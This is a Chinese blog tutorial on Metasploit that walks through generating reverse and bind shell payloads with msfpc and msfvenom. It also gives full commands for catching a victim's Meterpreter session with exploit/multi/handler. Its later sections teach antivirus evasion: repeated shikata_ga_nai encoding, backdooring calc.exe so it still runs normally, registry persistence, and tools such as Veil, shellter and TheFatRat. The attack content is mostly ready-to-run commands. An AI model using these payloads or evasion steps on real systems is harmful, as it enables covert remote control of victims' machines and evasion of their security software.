欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

玩转Metasploit(三):蝴蝶翅膀的发散

程序员文章站 2022-07-15 14:03:19
...

昔者庄周梦为蝴蝶,栩栩然蝴蝶也,自喻适志与不知周也。俄然觉,则蘧蘧然周也。不知周之梦蝴蝶,蝴蝶之梦为周与?周与蝴蝶,则必有分矣。此之谓物化。


exploit/multi/handler

这是一份神奇的模块,我们叫它通用监听模块。它的官方名曰Generic Payload Handler(通用类型的载荷调用者)。

玩转Metasploit(三):蝴蝶翅膀的发散

它存储在/usr/share/metasploit-framework/modules/exploits/multi/handler.rc(如图所示)

玩转Metasploit(三):蝴蝶翅膀的发散

所在的那层目录只有它一个文件类型(其它均为文件夹),其特殊性从此也可见一斑。既然名为Gereric,它就适用所有平台(Windows、Linux、OSX等)。 此模块是一个存根,它将metasploit有效负载系统的所有功能提供给已在框架外部启动的漏洞利用。在实际使用中,我们只需要set它的payload和相关参数,然后exploit即可。再次重申,exploit/multi/handler和普通module不同之处就在于它的“通用性”,这一点请读者慢慢体会。


msfpc

msfpc全称metasploit-framework payload generator,专门负责自动化生成payload的工作,它是后面要讲的msfvenom的封装版本,在操作上更友好。

它的友好主要体现在:1. 可以直接输入网卡名,代替网卡的IP地址、2. 自动化侦测网卡的外网IP地址、3. 循环、4. 实现批量生成和选择性生产。

命令用法

/usr/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

其中第一个参数既可以是真正的类型名,也可以是该类型文件的后缀名;第二个参数既可以是真正的ip地址,也可以是其指代的名称(如wan表示公网ip)。从msfpc输出可以看出,msfpc其实是封装了msfvenom,你可以输出的msfvenom命令进行校对。

0x01:Windows + 手动IP

msfpc windows 192.168.1.5

玩转Metasploit(三):蝴蝶翅膀的发散

玩转Metasploit(三):蝴蝶翅膀的发散

0x02:Linux + wlan00的IP + 4445端口 + reverse shell

msfpc elf wlan0 4445 reverse

玩转Metasploit(三):蝴蝶翅膀的发散

玩转Metasploit(三):蝴蝶翅膀的发散

msfpc会生成两个文件:其中一个是用来攻击的payload(注意扩展名),另一个是扩展名为.rc的handler。

命令

msfconsole -q -r $该handler

将执行同时生成的payload

玩转Metasploit(三):蝴蝶翅膀的发散

玩转Metasploit(三):蝴蝶翅膀的发散

在实际使用中有两点提请注意:1. 参数之间没有顺序、2. 最新版本貌似不再支持LOOP/BATCH选项。除了在新的命令行窗口启动msfpc,你也可以从msfconsole启动,启动方式是一模一样的。


msfvenom

msfvenom(巧记:venom=毒液,加上msf前缀)是metasploit套件的标准payload生成器,基于bash编写,在操作上比msfpc繁琐,但是功能也相对更强大。在新版本中msfvenom可以看成是msfpayload和msfencode的结合。这么说吧,msfpc是新手和懒人的福音,那msfvenom就是为高手准备的——是啊,学完这节课你也就正大踏步的走在从小白到高手的康庄大道上啦。

玩转Metasploit(三):蝴蝶翅膀的发散

各个参数的中文释义如下

l:列出指定类型所有的模块;这些类型包括payloads、encoders、nops、platforms、formats、all。如,-l nops
p:使用指定payload;这些payload都能用l参数看到。如,-p linux/x86/meterpreter/reverse_tcp
f:指定生成的文件格式。如,-f exe
e:指定编码方式。如,-e x86/unicode_upper
o:输出到文件,即文件重定向。
b:坏字符,即在payload利用文件中避免出现的字符。
i:使用指定方式编码payload的次数。
c:指定一个win32的shellcode包含到结果文件。
x:模版,跟改模版文件的文件路径。
t:用于从终端读入payload,后面跟最大等待时间。

要是讲生成简单的脚本,其实你完全可以用msfpc代替,毕竟工具的作用就是解放双手,能动脑子就不要动手,这是最基本的原则。基本指令格式和msfpc相似,无非多了个文件重定向云云,下面直接上实例。

0x01:入侵Windows的回送shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

0x02:入侵Linux的绑定shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

0x03:入侵Mac的回送shell

msfvenom -p paylad osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

下面我们使用上面生成的那个Windows入侵payload来完成一次exploitation。要知道因为我们生成的payload利用文件是针对目标主机的,所以这应该是一次客户端攻击,比如当对方点击某个可执行文件,或者下载某个链接,将启动我们的攻击程式。具体命令请参考下面的实例

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=4555 -f exe > /root/shell.exe

玩转Metasploit(三):蝴蝶翅膀的发散

对于需要却没有选择的参数,msfvenom会自动替我们选择:这里缺少参数platform,根据默认选择Msf::Module::Platform::Windows,缺少参数arch,根据默认选择x86,当你在命令行执行以下命令

file /root/shell.exe

你会得到以下信息

shell.exe: PE32 excutable (GUI) Intel 80386, for Windows

接下来就要用到文章最前讲的那个通用监听模块exploit/multi/handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4555

然后exploit之,一般都是用j参数挂到后台(因为暂时用不到)

玩转Metasploit(三):蝴蝶翅膀的发散

当客户端(目标靶机)执行那个我们生成的可执行文件时,我们将开启一个新的session,同时丢弃原来的那个job,可以看成是原来的那个job生成了新的这个session。

玩转Metasploit(三):蝴蝶翅膀的发散


免杀技术(概)

由于普通的木马很容易被系统自带的防火墙或杀毒软件识别而被杀死,免杀技术应运而生。所谓免杀,即免于被杀,要想方设法让自己活下来,通常这句话的等价语意就是不被杀软等侦测系统(anti virus,简称AV)识别。免杀就是研究反侦察的一门技术。

0x01:metasploit内置:手动编译payload

不问为什么,只管怎么办。具体原理参见我的后续博文,届时我将另开一篇博文专门介绍那个啥的来龙去脉,这里你只管用就是。还记得吗,msfvenom是msfpayload和msfencode的集成版本,后两个工具现已经弃用

msfvenom -p windwos/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b\x00’ -f c > shellcode.c

上述命令的关键在于参数e,它为生成的payload指定编码方式,不要小瞧,它的作用其实大得很,一般的识别系统它都能绕过。为了增加编码次数,实用参数i用前面指定的编码方式进行五次编码,这样也能更好的隐藏自己。所谓encode,不过是给生成的shellcode加一层壳罢了。

然后参数x用的也比较多,还记得么,该参数用来设置“模版”,通俗讲就是设置被注入后门的软件,然后生成一个加后门的新程序,从外貌上和源文件完全一样,不过……(你懂得)因为这样会导致源文件的正常功能无法使用,为了解决这个问题,我们使用k参数在创建的新线程里执行后门,如此这般源文件也还能正常使用。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.1681.5 LPORT=4444 -x calc.exe -k -f exe > /root/calc.exe

另外告诉大家一个不是技巧的技巧,在选择payload的时候也是有诀窍的。比如我喜欢写windows/meterpreter/reverse_tcp,如果被杀死了,可以试试windows/meterpreter/reverse_tcp_rc4,后者在前者的基础上多了一层加密。正常情况为什么不用呢,因为没有必要。另外
有人说了,persistence后门也不够隐蔽,那行也有替代,本来是run post/windows/manage/persistence_exe,现在是use exploit/windows/local/registry_persistence。都是名字暴露了它的本性呀,其它的persistence功能大家也可以自己试试看。这里我打开exploit/windows/local/registry_persistence供大家观赏,不要在意为什么颜色换了,因为这是我的Mac本子。你可以
手动set你需要的payload,然后exploit之,这样的隐蔽性较直接run那个post也许要好一些也说不定。

玩转Metasploit(三):蝴蝶翅膀的发散

玩转Metasploit(三):蝴蝶翅膀的发散

0x02:外部工具帮忙:君子性非异也

《劝学》有云“君子性非异也,善假于物也”。我们的metasploit固然强大,但是在针对某些细小的特定问题是,总有其短板之处,不是说它做的不好,但是在有些专门从事这样工作的第三方工具来说,就好比是一个全才遇上了一个专家,反观自己难免存在疏漏之处。

在Linux系统下运作的免杀编码工具有很多,下面以其中四款我认为较为突出者作为讲解对象,因Linux的本子不在身边,就不放图了,届时补上。排名不分先后。

首先是shellter,它采用了动态shellcode注入来实现免杀的效果,当用户打开被植入后门的软件时,只有触发一定的操作才会启动后门。原理也好懂,即先生成一个dll文件,再将其注入到某个文件中运行。它是一个项目(名曰shellterproject),这是其官网:https://www.shellterproject.com/,它包括了shellter下载界面。

接着是veil,它是一些工具的集合,你可以在https://github.com/Veil-Framework/Veil找到它的项目源码。比起shellter,它更像是一个框架,一些基本的东西它帮你弄好了,你只需要点点划划就可以了。

然后是avet,也是一个比较出名的工具,这是它的项目地址:https://github.com/govolution/avet,据说在某年的黑客大会上看见过它。

最后我想介绍一款懒人党的福利,它集成了基本的payload免杀技术,合理使用可以绕过一部分侦测系统,傻瓜式操作被有人称为神器,它的名字叫TheFatRat,同样没图片,要不你自行脑补(误)?它的项目地址是:https://github.com/Screetsec/TheFatRat,因为是第三方软件,同样需要你手动安装。

说一句题外话,总之免杀就是要绕过AV的检测,你也可以返璞归真,使用系统自带的工具,比如upx,这是一款Kali内置的命令行工具,这是一个免费的开源可执行打包程序,支持来自不同操作系统的多种文件格式。想想看,是不是可以用来加壳。

以上不过是一些经验之谈罢了,另考虑到免杀技术的重要性,我将在近日撰写一篇博文,来专门讨论免杀技术的原理和使用窍门,至于细节部分,嗯……届时到那篇文章去找好了。